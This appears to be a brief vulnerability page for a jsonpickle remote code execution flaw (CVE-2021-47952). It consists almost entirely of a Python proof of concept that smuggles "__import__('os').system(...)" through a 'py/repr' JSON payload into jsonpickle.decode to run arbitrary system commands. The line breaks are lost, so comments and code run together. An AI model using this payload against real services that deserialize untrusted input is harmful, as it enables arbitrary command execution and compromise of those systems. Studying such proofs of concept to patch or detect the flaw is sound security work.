CVE-2021-47952 Python jsonpickle远程代码执行漏洞

import jsonpickle import json # Proof of Concept for CVE-2021-47952 # This payload attempts to execute a system command using py/repr # Malicious JSON payload containing py/repr # The command executed is 'whoami' (or any arbitrary command) payload_dict = {"py/repr": "__import__('os').system('whoami')"} malicious_json = json.dumps(payload_dict) print(f"Sending malicious payload: {malicious_json}") # Vulnerable code: Deserializing untrusted data try: # When decode is called, it encounters py/repr and calls eval() result = jsonpickle.decode(malicious_json) print(f"Deserialization result: {result}") except Exception as e: print(f"Error: {e}")